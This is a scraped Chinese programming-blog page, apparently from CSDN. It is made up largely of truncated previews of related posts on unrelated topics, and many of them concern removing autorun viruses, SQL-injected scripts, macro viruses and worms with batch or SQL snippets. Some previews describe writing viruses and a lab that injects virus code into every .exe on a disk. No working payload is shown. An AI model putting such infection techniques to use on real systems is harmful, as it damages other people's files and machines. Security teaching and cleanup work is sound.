FTPClient使用中,碰到SocketTimeoutException 坑

ftpclient设置soTimeout无效

u010379794的博客 1953

php 清理脚本病毒,Autorun 病毒清除工具bat代码

@Echo Offcolor 2ftitle Autorun 病毒清除工具-By PhexonRem 杀进程taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM...

weixin_42139252的博客 376

S型速度曲线C程序实现

S型速度曲线C语言程序实现 前言 S型曲线相较于梯形速度曲线具有运行更加平稳的特点,S型曲线共有八种运行情况,感兴趣可以查阅相关文献 代码段 #include <stdio.h> #include <math.h> #define FP64 double int main(void) { /**************************** 定义相关变量(需要映射到PLC寄存器才能进行监控) ***********************/ FP6

LSX312441548的博客 8393

mysql 注入病毒_清除SQL被注入恶意病毒代码的语句_mysql

01.declare @t varchar(255),@c varchar(255)02.declare table_cursor cursor for select a.name,b.name03.from sysobjects a,syscolumns b ,systypes chttp://www.gaodaima.com/39869.html清除SQL被注入恶意病毒代码的语句_mysql0...

weixin_33181210的博客 274

(6):单相三绕组变压器的拉氏变换数学模型和仿真模型

本节详细推导了基于耦合电路的单相三绕组变压器考虑铁心损耗情况下的拉普拉斯变换数学模型,并据此用Matlab/Simulink的传递函数模块搭建了相应的仿真模型,仿真结果表明所建立的数学模型和仿真模型都是正确的。本文的贡献是建立了考虑铁心损耗的单相三绕组变压器基于拉氏变换象函数的数学模型,为使用Simulink传递函数模块实现单相三绕组变压器的仿真模型提供了一条途径,所采用的建模方法和技巧具有启发作用,值得借鉴。

weixin_45670943的博客 374

uniapp - H5网页uni.getLocation报错getLocation:fail Geolocation permission denied.Get ipLocation failed.

uni.getLocation getLocation:fail Geolocation permission denied.Get ipLocation failed.,uni.getLocation定位失败,uni-app getLocation()无法获取定位,一直fail()uniapp移动端h5网页,uniApp微信内置浏览器定位失败,如何解决这个问题,uniapp h5 uni.getLocation获取位置失败怎么办,UNI-APP获取当前位置,uni.getLocation定位失败,unia

🏆 前端领域优质创作者 4244

网站数据库被SQL注入后清除script恶意病毒代码的方法

现在,网站流行最广的入侵应该是SQL注入吧,在程序上如果没有做好SQL注入防范,很容易给黑客入侵,如果网站的数据库给入侵注入js等恶意网址代码的话,怎么办呢?本文是其中一种解决方法:--解决并清除SQL被注入<script>恶意病毒代码的语句declare @t varchar(255),@c varchar(255) declare table_cursor cursor for ...

weixin_30845171的博客 203

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

Net-Worm.Win32.Kido.ih蠕虫病毒分析+专杀工具源代码+手工清除全过程

Net-Worm.Win32.Kido.ih蠕虫病毒分析+专杀工具源代码+手工清除全过程                                                                           ——By DeathMemory   简介: 病毒名称: Net-Worm.Win32.Kido.ih (变种) 大小: 125-128 Kb 生

7101

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

StartUp.xls宏病毒清除方法(excel宏病毒)

StartUp.xls宏病毒清除方法(excel宏病毒)   求教高手该代码运行为什么会出现“用户定义类型未定义”编译错误,如何解决?多谢 Visual basic 编辑器---------工具--------引用-------Microsoft VisualBasic For Applications Extensibility 5.3   (防止宏病毒代码,未测试) Sub a

IT经验分享 3069

超强c/c++病毒程序,中毒+杀毒

【代码】超强c/c++病毒程序,中毒+杀毒。

asuf1364的博客 2852

如何清除网页病毒,清除病毒

Class clear_virus{ public $index =b.html; public $filepath =array(b.html); public $virus_type =""; function open_file(){ if(file_exists($this->index)){ $tmp =file_get_contents($this->index); if(

管子(zero)的杂乱空间 1478

完全有效的autorun病毒清除代码[批处理]

@echo ontaskkill /im explorer.exe /ftaskkill /im wscript.exestart reg add HKCU/SOFTWARE/Microsoft/Windows/CurrentVersion/EXplorer/Advanced /v ShowSuperHidden /t REG_DWORD /d 1 /fstart reg import kill.

桂林哈秋 - 我想学编程 1573

“红色代码III”手动清除指南

  编者:虽然本文介绍了手动清除“红色代码”蠕虫的方法,但对于大多数普通用户来说,我们认为采用微软提供的解决方法或是选用专业的反病毒厂商的相关安全产品清除该蠕虫,是最安全和便捷的方法。   背景资料 on error resume next ShockMode = (IsObject(CreateObject("ShockwaveFlash.Sho

heyongzhou的专栏 972

mysql 注入病毒_清除SQL被注入恶意病毒代码的语句

在SQL查询分析器执行以下代码就可以了。 复制代码 代码如下: declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b ,systypes c where a.id=b.id and a.xtype='u' ...

weixin_42360905的博客 370

PE文件病毒实验(二)——实验报告

实验目的:掌握PE文件格式;理解病毒感染PE文件的原理。 实验内容: (1) 了解PE文件格式。 (2) 根据实验步骤,编程实现在PE文件中插入病毒代码。运行插入病毒代码后的PE文件。 (3) 编程实现在磁盘中搜索.exe文件的操作,对于所有的.exe文件插入病毒代码并运行插入病毒代码后的exe文件。 (4) 编程实现在磁盘中搜索(3)中的.exe文件的操作,对于所有的.exe文件删除病毒代码并运...

jmhIcoding 1万+

解决并清除SQL被注入恶意病毒代码的语句

declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,sys...

ciweiti5307的博客 207
上一篇: Delphi控件的使用经验
下一篇: 将窗体从属于主窗体
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值